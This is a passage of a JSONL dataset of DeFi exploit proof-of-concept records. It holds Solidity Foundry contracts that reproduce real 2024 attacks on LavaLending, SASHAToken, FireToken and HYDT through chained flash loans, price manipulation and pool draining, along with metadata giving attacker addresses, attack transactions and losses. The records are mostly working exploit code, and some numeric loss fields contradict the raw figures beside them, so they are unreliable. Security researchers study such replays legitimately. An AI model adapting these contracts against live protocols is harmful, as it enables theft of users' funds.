weth :\", IERC20(weth).balanceOf(attacker));\n }\n}\n\ncontract AttackerC {\n address attacker;\n\n function attack() external {\n attacker = msg.sender;\n\n uint256 AlgebraPool_USDC_bal = IERC20(usdc).balanceOf(AlgebraPool); // L1\n // IERC20(usdc).approve(WETHUSDC_LP, type(uint256).max); // L3\n // IERC20(weth).approve(WETHUSDC_LP, type(uint256).max); // L6\n\n IFS(AlgebraPool).flash( // L9\n address(this), // recipient\n 0, // amount0\n AlgebraPool_USDC_bal, // amount1\n hex\"000000000000000000000000000000000000000000000000000002653038614a\"\n );\n\n IERC20(usdc).transfer( // L1096\n msg.sender,\n IERC20(usdc).balanceOf(address(this)) // L1094\n );\n IERC20(cUSDC).transfer( // L1101\n msg.sender,\n IERC20(cUSDC).balanceOf(address(this)) // L1099\n );\n IERC20(wbtc).transfer( // L1104\n msg.sender,\n IERC20(wbtc).balanceOf(address(this)) // L1107\n );\n IERC20(weth).transfer( // L1111\n msg.sender,\n IERC20(weth).balanceOf(address(this)) // L1113\n );\n }\n\n // 1 flashloan with AlgebraPool\n function algebraFlashCallback(uint256, uint256 fee1, bytes calldata data) external {\n // L16\n uint256 usdc_bal = IERC20(usdc).balanceOf(aaveUSDC); // L17\n\n address[] memory assets = new address[](3);\n assets[0] = weth;\n assets[1] = cUSDC;\n assets[2] = usdc;\n uint256[] memory amounts = new uint256[](3);\n amounts[0] = 1_500_000_000_000_000_000_000;\n amounts[1] = 8_000_000_000_000;\n amounts[2] = usdc_bal - 2_000_000_000;\n\n IFS(aavePoolV3).flashLoan( // L19\n address(this), // receiverAddress\n assets, // assets\n amounts, // amounts\n new uint256[](3), // interestRateModes\n address(this), // onBehalfOf\n \"\", // params\n 0 // referralCode\n );\n\n IERC20(usdc).transfer(AlgebraPool, 2_633_887_316_134); // L1083\n }\n\n // 2 flashloan with aavePoolV3\n function executeOperation(\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata premiums,\n address initiator,\n bytes calldata params\n ) external returns (bool) {\n // L51\n uint256 usdc_bal = IERC20(usdc).balanceOf(SwapFlashLoan); // L52\n\n IFS(SwapFlashLoan).flashLoan( // L54\n address(this), // receiver\n usdc, // token\n 10_000_000, // amount\n \"\" // params\n );\n\n IERC20(usdc).approve(aavePoolV3, type(uint256).max); // L1024\n IERC20(weth).approve(aavePoolV3, type(uint256).max); // L1027\n IERC20(cUSDC).approve(aavePoolV3, type(uint256).max); // L1030\n\n return true;\n }\n\n // 3 flashloan with SwapFlashLoan\n function executeOperation(\n address pool,\n address token,\n uint256 amount,\n uint256 fee,\n bytes calldata params\n ) external {\n // L61\n uint256 usdc_bal = IERC20(usdc).balanceOf(balancerVault); // L62\n\n address[] memory tokens = new address[](1);\n tokens[0] = usdc;\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = usdc_bal;\n\n IFS(balancerVault).flashLoan( // L64\n address(this), tokens, amounts, \"\");\n\n IERC20(usdc).transfer(SwapFlashLoan, amount + fee); // L1018\n }\n\n // 4 flashloan with balancerVault\n function receiveFlashLoan(\n address[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n // L71\n uint256 usdc_bal = IERC20(usdc).balanceOf(address(this)); // L72\n\n IERC20(usdc).approve(WETHUSDC_LP, type(uint256).max); // L74\n IERC20(weth).approve(WETHUSDC_LP, type(uint256).max); // L77\n\n uint256 usdc_bal2 = IERC20(usdc).balanceOf(address(this)); // L80\n uint256 weth_bal = IERC20(weth).balanceOf(address(this)); // L82\n\n IFS(WETHUSDC_LP).deposit( // L84\n 1_403_852_271_412_498_423_040, // startKey\n 3_588_180_725_760, // assetType\n 0, // vaultId\n 0 // quantizedAmount\n );\n\n IERC20(WETHUSDC_LP).approve(LendingPool, type(uint256).max); // L167\n uint256 WETHUSDC_LPBal = IERC20(WETHUSDC_LP).balanceOf(address(this)); // L171\n\n IFS(LendingPool).deposit( // L174\n WETHUSDC_LP, // asset\n WETHUSDC_LPBal, // amount\n address(this), // onBehalfOf\n 0 // referralCode\n );\n\n IFS(LendingPool).getUserAccountData(address(this)); // L210\n\n IFS(AaveOracle).getAssetPrice(usdc); // L242\n\n AttackerC2 attackerC2 = new AttackerC2(); // L248\n\n IERC20(cUSDC).transfer(address(attackerC2), 6_492_300_768_118); // L249\n\n attackerC2.attack(); // L252\n\n uint256 WETHUSDC_LP_bal = IERC20(WETHUSDC_LP).balanceOf(aUsdceWethLP); // L370\n\n IFS(LendingPool).withdraw( // L373\n WETHUSDC_LP, WETHUSDC_LP_bal, address(this));\n\n uint256 usdc_bal3 = IERC20(usdc).balanceOf(address(this)); // L408\n uint256 weth_bal2 = IERC20(weth).balanceOf(address(this)); // L410\n\n IFS(WETHUSDC_LP).compound(); // L412\n\n IFS(WETHUSDC_LP).withdraw(WETHUSDC_LPBal); // L428\n\n IFS(WETHUSDC_LP).deposit( // L451\n 2_246_163_634_259_997_476, // startKey\n 5_741_089_161, // assetType\n 0, // vaultId\n 0 // quantizedAmount\n );\n\n IERC20(usdc).approve(UniswapV3Pool, type(uint256).max); // L487\n IERC20(weth).approve(UniswapV3Pool, type(uint256).max); // L490\n\n uint256 weth_bal3 = IERC20(weth).balanceOf(address(this)); // L493\n\n IFS(UniswapV3Pool).swap( // L495\n address(this), true, int256(weth_bal3), 3_485_594_667_521_387_551_771_586, \"\");\n\n IFS(UniswapV3Pool).flash( // L508\n address(this), // recipient\n 1_000_000_000_000_000_000, // amount0\n 0, // amount1\n \"\"\n );\n\n uint256 WETHUSDC_LP_bal2 = IERC20(WETHUSDC_LP).balanceOf(address(this)); // L525\n\n IFS(WETHUSDC_LP).withdraw(WETHUSDC_LP_bal2); // L528\n\n IFS(UniswapV3Pool).swap( // L589\n address(this),\n false,\n int256(881_716_015_644),\n 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_000,\n \"\"\n );\n\n uint256 balcUSDC = IERC20(cUSDC).balanceOf(aUSDC); // L602\n IFS(LendingPool).borrow( // L604\n cUSDC, balcUSDC, 2, 0, address(this));\n\n uint256 balwbtc = IERC20(wbtc).balanceOf(aWBTC); // L671\n IFS(LendingPool).borrow( // L674\n wbtc, balwbtc, 2, 0, address(this));\n\n uint256 balweth = IERC20(weth).balanceOf(aWETH); // L764\n IFS(LendingPool).borrow( // L766\n weth, balweth, 2, 0, address(this));\n\n uint256 balusdc = IERC20(usdc).balanceOf(aUSDCe); // L861\n IFS(LendingPool).borrow( // L863\n usdc, balusdc, 2, 0, address(this));\n\n uint256 balwethThis = IERC20(weth).balanceOf(address(this)); // L970\n\n IERC20(cUSDC).approve(UniswapV3Router2, type(uint256).max); // L972\n\n IFS.ExactOutputSingleParams memory params = IFS.ExactOutputSingleParams(\n cUSDC,\n weth,\n 500,\n address(this),\n 1_755_639_896_171_187_086,\n type(uint256).max,\n 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_000\n );\n\n IFS(UniswapV3Router2).exactOutputSingle(params); // L975\n\n uint256 balusdc2 = IERC20(usdc).balanceOf(address(this)); // L989\n\n IFS(AlgebraPool2).swap( // L991\n address(this), // recipient\n true, // zeroToOne\n int256(-4_402_600_766), // amountRequired\n 4_295_129_000, // limitSqrtPrice\n \"\" // data\n );\n\n IERC20(usdc).transfer(balancerVault, 1_255_587_859_253); // L1012\n }\n\n uint256 n;\n\n function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {\n if (n == 0) {\n IERC20(weth).transfer(UniswapV3Pool, uint256(amount0Delta)); // L502\n }\n if (n == 1) {\n IERC20(usdc).transfer(UniswapV3Pool, uint256(amount1Delta)); // L596\n }\n\n n++;\n }\n\n function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n // L516\n IERC20(weth).transfer(UniswapV3Pool, 1_300_000_000_000_000_000); // L517\n }\n\n function algebraSwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {\n // L1001\n IERC20(cUSDC).transfer(AlgebraPool2, uint256(amount0Delta)); // L1002\n }\n}\n\ncontract AttackerC2 {\n function attack() external {\n IERC20(cUSDC).approve(LendingPool, type(uint256).max); // L253\n\n uint256 usdc_bal = IERC20(cUSDC).balanceOf(address(this)); // L256\n\n IFS(LendingPool).deposit( // L258\n cUSDC, // asset\n usdc_bal, // amount\n address(this), // onBehalfOf\n 0 // referralCode\n );\n\n IFS(LendingPool).borrow( // L296\n WETHUSDC_LP, // asset\n 430_623_991_193_131_340, // amount\n 2, // interestRateMode\n 0, // referralCode\n address(this) // onBehalfOf\n );\n\n uint256 WETHUSDC_LP_bal = IERC20(WETHUSDC_LP).balanceOf(address(this)); // L363\n\n IERC20(WETHUSDC_LP).transfer(msg.sender, WETHUSDC_LP_bal); // L366\n }\n}\n\ninterface IFS is IERC20 {\n // AlgebraPool\n function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;\n\n // aavePoolV3\n function flashLoan(\n address receiverAddress,\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata interestRateModes,\n address onBehalfOf,\n bytes calldata params,\n uint16 referralCode\n ) external;\n\n // SwapFlashLoan\n function flashLoan(address receiver, address token, uint256 amount, bytes memory params) external;\n\n // balancerVault\n function flashLoan(\n address recipient,\n address[] memory tokens,\n uint256[] memory amounts,\n bytes memory userData\n ) external;\n\n // WETH-USDC LP\n function deposit(uint256 startKey, uint256 assetType, uint256 vaultId, uint256 quantizedAmount) external payable;\n\n function compound() external;\n\n function withdraw(\n uint256\n ) external;\n\n // LendingPool\n function deposit(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;\n\n function getUserAccountData(\n address user\n )\n external\n returns (\n uint256 totalCollateralETH,\n uint256 totalDebtETH,\n uint256 availableBorrowsETH,\n uint256 currentLiquidationThreshold,\n uint256 ltv,\n uint256 healthFactor\n );\n\n function borrow(\n address asset,\n uint256 amount,\n uint256 interestRateMode,\n uint16 referralCode,\n address onBehalfOf\n ) external;\n\n function withdraw(address asset, uint256 amount, address to) external returns (uint256);\n\n // AaveOracle\n function getAssetPrice(\n address asset\n ) external view returns (uint256);\n\n // UniswapV3Pool\n function swap(\n address recipient,\n bool zeroForOne,\n int256 amountSpecified,\n uint160 sqrtPriceLimitX96,\n bytes calldata data\n ) external returns (int256 amount0, int256 amount1);\n\n // UniswapV3Router2\n struct ExactOutputSingleParams {\n address tokenIn;\n address tokenOut;\n uint24 fee;\n address recipient;\n uint256 amountOut;\n uint256 amountInMaximum;\n uint160 sqrtPriceLimitX96;\n }\n\n function exactOutputSingle(\n ExactOutputSingleParams calldata params\n ) external payable returns (uint256 amountIn);\n}\n", "type": "exploit_poc", "protocol": "LavaLending", "date": "2024-10", "file_name": "LavaLending_exp.sol", "attack_vector": "flash_loan", "content_hash": "78fc1eab69666b17", "collected_at": "2026-01-07T10:59:16.511294", "_source": "postmortems", "chain": "arbitrum", "block_number": 259645908, "total_lost_raw": "1 USDC, 125795.6 cUSDC, 0,0067 WBTC, 2.25 WETH (~$130K USD)", "total_lost_usd": 1.0, "attacker_address": "https://arbiscan.io/address/0x8a0dfb61cad29168e1067f6b23553035d83fcfb2", "attack_contract": "https://arbiscan.io/address/0x69fa61eb4dc4e07263d401b01ed1cfceb599dab8#code", "vulnerable_contract": "https://arbiscan.io/address/0x6700b021a8bcfae25a2493d16d7078c928c13151", "attack_tx": "https://arbiscan.io/tx/0xb5cfa4ae4d6e459ba285fec7f31caf8885e2285a0b4ff62f66b43e280c947216", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "low", "severity_raw": "1 USDC, 125795.6 cUSDC, 0,0067 WBTC, 2.25 WETH (~$130K USD)", "category": "flash-loan", "exploit_code": "function testPoC() public {\n vm.startPrank(attacker);\n AttackerC attackerC = new AttackerC();\n vm.label(address(attackerC), \"attackerC\");\n\n attackerC.attack();\n\n console.log(\"Final balance in usdc :\", IERC20(usdc).balanceOf(attacker));\n console.log(\"Final balance in cUSDC:\", IERC20(cUSDC).balanceOf(attacker));\n console.log(\"Final balance in wbtc :\", IERC20(wbtc).balanceOf(attacker));\n console.log(\"Final balance in weth :\", IERC20(weth).balanceOf(attacker));\n }\n}\n\ncontract AttackerC {\n address attacker;", "has_exploit_code": true, "keyinfo_total_lost": "1 USDC, 125795.6 cUSDC, 0,0067 WBTC, 2.25 WETH (~$130K USD)", "keyinfo_attacker": "https://arbiscan.io/address/0x8a0dfb61cad29168e1067f6b23553035d83fcfb2", "keyinfo_attack_contract": "https://arbiscan.io/address/0x69fa61eb4dc4e07263d401b01ed1cfceb599dab8#code", "keyinfo_vulnerable_contract": "https://arbiscan.io/address/0x6700b021a8bcfae25a2493d16d7078c928c13151", "keyinfo_attack_tx": "https://arbiscan.io/tx/0xb5cfa4ae4d6e459ba285fec7f31caf8885e2285a0b4ff62f66b43e280c947216", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$1", "content_richness_score": 10, "quality_estimate": "high", "title": "LavaLending Exploit (2024-10)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~249 ETH (~$600K USD)\n// Attacker : 0x493c5655D40B051a64bc88A6af21D73d3A9B72A2 (Shezmu Attacker 3)\n// Attack Contract : https://etherscan.io/address/0x991493900674b10bdf54bdfe95b4e043257798cf\n// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0xd9fdc7d03eec28fc2453c5fa68eff82d4c297f436a6a5470c54ca3aecd2db17e\n\n// @Analysis\n \n\n// Contracts involved\naddress constant SASHA = 0xD1456D1b9CEb59abD4423a49D40942a9485CeEF6;\naddress constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\naddress constant UniswapV2_Router2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\naddress constant UniswapV3_Router2 = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;\naddress constant UniswapV2_SASHA21 = 0xB23FC1241e1Bc1a5542a438775809d38099838fe;\n\ncontract SASHAToken_exp is Test {\n address attacker = 0x81F48A87Ec44208c691f870b9d400D9c13111e2E;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 20_905_302 - 1);\n\n vm.label(SASHA, \"SASHA\");\n vm.label(weth, \"WETH\");\n vm.label(UniswapV2_Router2, \"Uniswap V2: Router 2\");\n vm.label(UniswapV3_Router2, \"Uniswap V3: Router 2\");\n vm.label(UniswapV2_SASHA21, \"Uniswap V2: SASHA 21\");\n\n vm.label(attacker, \"Attacker\");\n\n vm.deal(attacker, 1 ether);\n }\n\n function testExploit() public {\n vm.startPrank(attacker);\n\n SASHAToken_AttackContract attackC = new SASHAToken_AttackContract();\n payable(address(attackC)).transfer(0.08 ether);\n\n attackC.attack();\n\n // Simulate withdraw\n attackC.withdraw();\n\n vm.stopPrank();\n\n console.log(\"balance: \", attacker.balance - 1 ether);\n }\n\n fallback() external payable {}\n}\n\ncontract SASHAToken_AttackContract {\n address payable public attacker;\n\n constructor() public {\n attacker = payable(msg.sender);\n }\n\n function attack() public {\n // Approve\n IWETH(payable(weth)).approve(UniswapV2_Router2, type(uint256).max);\n IERC20(SASHA).approve(UniswapV2_Router2, type(uint256).max);\n IERC20(SASHA).approve(UniswapV3_Router2, type(uint256).max);\n\n // Deposit\n IWETH(payable(weth)).deposit{value: 0.07 ether}();\n\n // Swap\n address[] memory path = new address[](2);\n path[0] = weth;\n path[1] = SASHA;\n Uni_Router_V2(UniswapV2_Router2).swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 70_000_000_000_000_000, // amountIn\n 1, // amountOutMin\n path, // path\n address(this), // to\n 4_324_324_234_244 // deadline\n );\n\n // console.log(\"SASHA balance: \", IERC20(SASHA).balanceOf(address(this)));\n\n IERC20(SASHA).transfer(UniswapV2_SASHA21, 1_000_000_000_000_000_000);\n\n UniswapV3Router.ExactInputSingleParams memory params = UniswapV3Router.ExactInputSingleParams({\n tokenIn: SASHA,\n tokenOut: weth,\n fee: 10_000,\n recipient: address(this),\n amountIn: 99_000_000_000_000_000_000_000,\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0\n });\n\n UniswapV3Router(UniswapV3_Router2).exactInputSingle(params);\n\n IWETH(payable(weth)).withdraw(249_276_511_929_373_786_924);\n\n // console.log(\"balance: \", address(this).balance);\n }\n\n fallback() external payable {\n // payable(attacker).transfer(address(this).balance);\n }\n\n function withdraw() public payable {\n require(msg.sender == attacker, \"Not the contract owner\");\n\n attacker.transfer(address(this).balance);\n }\n}\n\ninterface UniswapV3Router is IERC20 {\n // Uniswap V3: SwapRouter\n struct ExactInputSingleParams {\n address tokenIn;\n address tokenOut;\n uint24 fee;\n address recipient;\n uint256 amountIn;\n uint256 amountOutMinimum;\n uint160 sqrtPriceLimitX96;\n }\n\n function exactInputSingle(\n ExactInputSingleParams calldata params\n ) external payable returns (uint256 amountOut);\n}\n", "type": "exploit_poc", "protocol": "SASHAToken", "date": "2024-10", "file_name": "SASHAToken_exp.sol", "attack_vector": null, "content_hash": "1ebced9a8cd49a48", "collected_at": "2026-01-07T10:59:16.511395", "_source": "postmortems", "chain": "ethereum", "block_number": 20905302, "total_lost_raw": "~249 ETH (~$600K USD)", "total_lost_usd": 249.0, "attacker_address": null, "attack_contract": "https://etherscan.io/address/0x991493900674b10bdf54bdfe95b4e043257798cf", "vulnerable_contract": null, "attack_tx": "https://app.blocksec.com/explorer/tx/eth/0xd9fdc7d03eec28fc2453c5fa68eff82d4c297f436a6a5470c54ca3aecd2db17e", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~249 ETH (~$600K USD)", "category": "unknown", "exploit_code": "function testExploit() public {\n vm.startPrank(attacker);\n\n SASHAToken_AttackContract attackC = new SASHAToken_AttackContract();\n payable(address(attackC)).transfer(0.08 ether);\n\n attackC.attack();\n\n // Simulate withdraw\n attackC.withdraw();\n\n vm.stopPrank();\n\n console.log(\"balance: \", attacker.balance - 1 ether);\n }\n\n fallback() external payable {}\n}\n\ncontract SASHAToken_AttackContract {\n address payable public attacker;\n\n constructor() public {\n attacker = payable(msg.sender);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~249 ETH (~$600K USD)", "keyinfo_attacker": "", "keyinfo_attack_contract": "https://etherscan.io/address/0x991493900674b10bdf54bdfe95b4e043257798cf", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/eth/0xd9fdc7d03eec28fc2453c5fa68eff82d4c297f436a6a5470c54ca3aecd2db17e", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$249", "content_richness_score": 7.08, "quality_estimate": "medium", "title": "SASHAToken Exploit (2024-10)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 8.45 ETH (~$20K USD)\n// Attacker : https://etherscan.io/address/0x81f48a87ec44208c691f870b9d400d9c13111e2e\n// Attack Contract : https://etherscan.io/address/0x9776c0abe8ae3c9ca958875128f1ae1d5afafcb8\n// Vulnerable Contract : https://etherscan.io/address/0x18775475f50557b96C63E8bbf7D75bFeB412082D\n// Attack Tx : https://etherscan.io/tx/0xd20b3b31a682322eb0698ecd67a6d8a040ccea653ba429ec73e3584fa176ff2b\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x18775475f50557b96C63E8bbf7D75bFeB412082D#code\n// L274-279, _transfer() function\n\n// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)\n\n// Contracts involved\naddress constant AAVEPool = 0xC13e21B648A5Ee794902342038FF3aDAB66BE987;\naddress constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\naddress constant UniswapV2Router02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\naddress constant FIRE = 0x18775475f50557b96C63E8bbf7D75bFeB412082D;\naddress constant UniPairWETHFIRE = 0xcC27779013a1ccA68D3d93c640aaC807891Fd029;\n\ncontract FireToken_exp is Test {\n address attacker = makeAddr(\"attacker\");\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 20_869_375 - 1);\n }\n\n function testPoC() public {\n vm.startPrank(attacker);\n AttackerC attackerC = new AttackerC();\n vm.label(address(attackerC), \"attackerC\");\n\n attackerC.attack();\n\n console.log(\"Final balance in WETH:\", attacker.balance);\n }\n}\n\ncontract AttackerC {\n function attack() external {\n IFS(AAVEPool).flashLoanSimple(\n address(this),\n weth,\n 20 ether,\n hex\"00000000000000000000000018775475f50557b96c63e8bbf7d75bfeb412082d000000000000000000000000cc27779013a1cca68d3d93c640aac807891fd029000000000000000000000000000000000000000000000001158e460913d00000\",\n 0\n );\n\n uint256 balWETH = IERC20(weth).balanceOf(address(this));\n IFS(weth).withdraw(balWETH);\n msg.sender.call{value: balWETH}(\"\");\n }\n\n function executeOperation(\n address asset,\n uint256 amount,\n uint256 premium,\n address initiator,\n bytes calldata params\n ) external returns (bool) {\n while (true) {\n IFS(weth).withdraw(20 ether);\n try new AttackerC2{value: 20 ether}() { // To avoid `require(!isContract(to));` L258 FIRE contract\n } catch {\n break;\n }\n }\n\n IFS(weth).deposit{value: 20 ether}();\n\n IFS(weth).approve(AAVEPool, 20 ether);\n\n return true;\n }\n\n receive() external payable {}\n}\n\ncontract AttackerC2 {\n constructor() public payable {\n IFS(weth).deposit{value: 20 ether}();\n IFS(weth).approve(UniswapV2Router02, type(uint256).max);\n IFS(FIRE).approve(UniswapV2Router02, type(uint256).max);\n\n address[] memory path = new address[](2);\n path[0] = weth;\n path[1] = FIRE;\n IFS(UniswapV2Router02).swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 20 ether, 0, path, address(this), block.timestamp\n );\n\n uint256 pairBal = IFS(FIRE).balanceOf(UniPairWETHFIRE);\n IERC20(FIRE).transfer(UniPairWETHFIRE, pairBal);\n\n address t0 = IFS(UniPairWETHFIRE).token0();\n (uint256 r0, uint256 r1,) = IFS(UniPairWETHFIRE).getReserves();\n uint256 pairBal2 = IFS(FIRE).balanceOf(UniPairWETHFIRE);\n uint256 amountOut = IFS(UniswapV2Router02).getAmountOut(pairBal2 - r0, r0, r1);\n IFS(UniPairWETHFIRE).swap(0, amountOut, address(this), \"\");\n uint256 balWETH = IERC20(weth).balanceOf(address(this));\n IERC20(weth).transfer(msg.sender, balWETH);\n }\n\n receive() external payable {}\n}\n\ninterface IFS is IERC20 {\n // AAVE Pool\n function flashLoanSimple(\n address receiverAddress,\n address asset,\n uint256 amount,\n bytes calldata params,\n uint16 referralCode\n ) external;\n\n // WETH\n function withdraw(\n uint256\n ) external;\n function deposit() external payable;\n\n // UniswapV2Router02\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n function getAmountOut(\n uint256 amountIn,\n uint256 reserveIn,\n uint256 reserveOut\n ) external pure returns (uint256 amountOut);\n\n // UniswapV2Pair\n function token0() external view returns (address);\n function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;\n}\n", "type": "exploit_poc", "protocol": "FireToken", "date": "2024-10", "file_name": "FireToken_exp.sol", "attack_vector": "flash_loan", "content_hash": "472fca184941c8cb", "collected_at": "2026-01-07T10:59:16.511446", "_source": "postmortems", "chain": "ethereum", "block_number": 20869375, "total_lost_raw": "8.45 ETH (~$20K USD)", "total_lost_usd": 8.45, "attacker_address": "https://etherscan.io/address/0x81f48a87ec44208c691f870b9d400d9c13111e2e", "attack_contract": "https://etherscan.io/address/0x9776c0abe8ae3c9ca958875128f1ae1d5afafcb8", "vulnerable_contract": "https://etherscan.io/address/0x18775475f50557b96C63E8bbf7D75bFeB412082D", "attack_tx": "https://etherscan.io/tx/0xd20b3b31a682322eb0698ecd67a6d8a040ccea653ba429ec73e3584fa176ff2b", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "low", "severity_raw": "8.45 ETH (~$20K USD)", "category": "flash-loan", "exploit_code": "function testPoC() public {\n vm.startPrank(attacker);\n AttackerC attackerC = new AttackerC();\n vm.label(address(attackerC), \"attackerC\");\n\n attackerC.attack();\n\n console.log(\"Final balance in WETH:\", attacker.balance);\n }\n}\n\ncontract AttackerC {", "has_exploit_code": true, "keyinfo_total_lost": "8.45 ETH (~$20K USD)", "keyinfo_attacker": "https://etherscan.io/address/0x81f48a87ec44208c691f870b9d400d9c13111e2e", "keyinfo_attack_contract": "https://etherscan.io/address/0x9776c0abe8ae3c9ca958875128f1ae1d5afafcb8", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x18775475f50557b96C63E8bbf7D75bFeB412082D", "keyinfo_attack_tx": "https://etherscan.io/tx/0xd20b3b31a682322eb0698ecd67a6d8a040ccea653ba429ec73e3584fa176ff2b", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$8", "content_richness_score": 9.45, "quality_estimate": "high", "title": "FireToken Exploit (2024-10)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// reason : price manipulation,mintv2 use wbnb-usdt pair price to mint Token\n// guy : https://x.com/TenArmorAlert/status/1844241843518951451\n// tx : https://app.blocksec.com/explorer/tx/bsc/0xa9df1bd97cf6d4d1d58d3adfbdde719e46a1548db724c2e76b4cd4c3222f22b3?line=58\n// total loss : 5.8kusdt\n\ncontract ContractTest is Test {\n IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n Uni_Pair_V3 pool = Uni_Pair_V3(0x92b7807bF19b7DDdf89b706143896d05228f3121);\n Uni_Pair_V2 pair = Uni_Pair_V2(0x5E901164858d75852EF548B3729f44Dd93209c9c);\n Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n Uni_Router_V3 routerV3 = Uni_Router_V3(0x1b81D678ffb9C0263b24A97847620C99d213eB14);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 HYDT = IERC20(0x9810512Be701801954449408966c630595D0cD51);\n uint256 borrow_amount;\n address MintV2 = 0xA2268Fcc2FE7A2Bb755FbE5A7B3Ac346ddFeDB9B;\n\n function setUp() external {\n cheats.createSelectFork(\"bsc\", 42_985_310);\n deal(address(USDT), address(this), 0);\n // deal(address(WBNB), address(this), 11 ether);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Begin] Attacker USDT before exploit\", USDT.balanceOf(address(this)), 18);\n borrow_amount = 11_000_000 ether;\n pool.flash(address(this), borrow_amount, 0, \"\");\n emit log_named_decimal_uint(\"[End] Attacker USDT after exploit\", USDT.balanceOf(address(this)), 18);\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256, /*fee1*/ bytes memory /*data*/ ) public {\n console.log(\"pancakeV3FlashCallback\");\n console.log(USDT.balanceOf(address(this)));\n swap_token_to_token(address(USDT), address(WBNB), USDT.balanceOf(address(this)));\n WBNB.withdraw(11 ether);\n (bool success,) = MintV2.call{value: 11 ether}(abi.encodeWithSignature(\"initialMint()\"));\n uint256 v3_amount = HYDT.balanceOf(address(this)) / 2;\n HYDT.approve(address(routerV3), v3_amount);\n Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({\n tokenIn: address(HYDT),\n tokenOut: address(USDT),\n deadline: type(uint256).max,\n recipient: address(this),\n amountIn: v3_amount,\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0,\n fee: 500\n });\n routerV3.exactInputSingle(_Params);\n swap_token_to_token(address(HYDT), address(WBNB), HYDT.balanceOf(address(this)) / 2);\n swap_token_to_token(address(HYDT), address(USDT), HYDT.balanceOf(address(this)));\n swap_token_to_token(address(WBNB), address(USDT), WBNB.balanceOf(address(this)));\n USDT.transfer(address(pool), borrow_amount + fee0);\n console.log(fee0);\n }\n\n function swap_token_to_token(address a, address b, uint256 amount) internal {\n IERC20(a).approve(address(router), amount);\n address[] memory path = new address[](2);\n path[0] = address(a);\n path[1] = address(b);\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "HYDT", "date": "2024-10", "file_name": "HYDT_exp.sol", "attack_vector": null, "content_hash": "36cf4736494f7e1b", "collected_at": "2026-01-07T10:59:16.511502", "_source": "postmortems", "chain": "unknown", "block_number": 42985310, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", 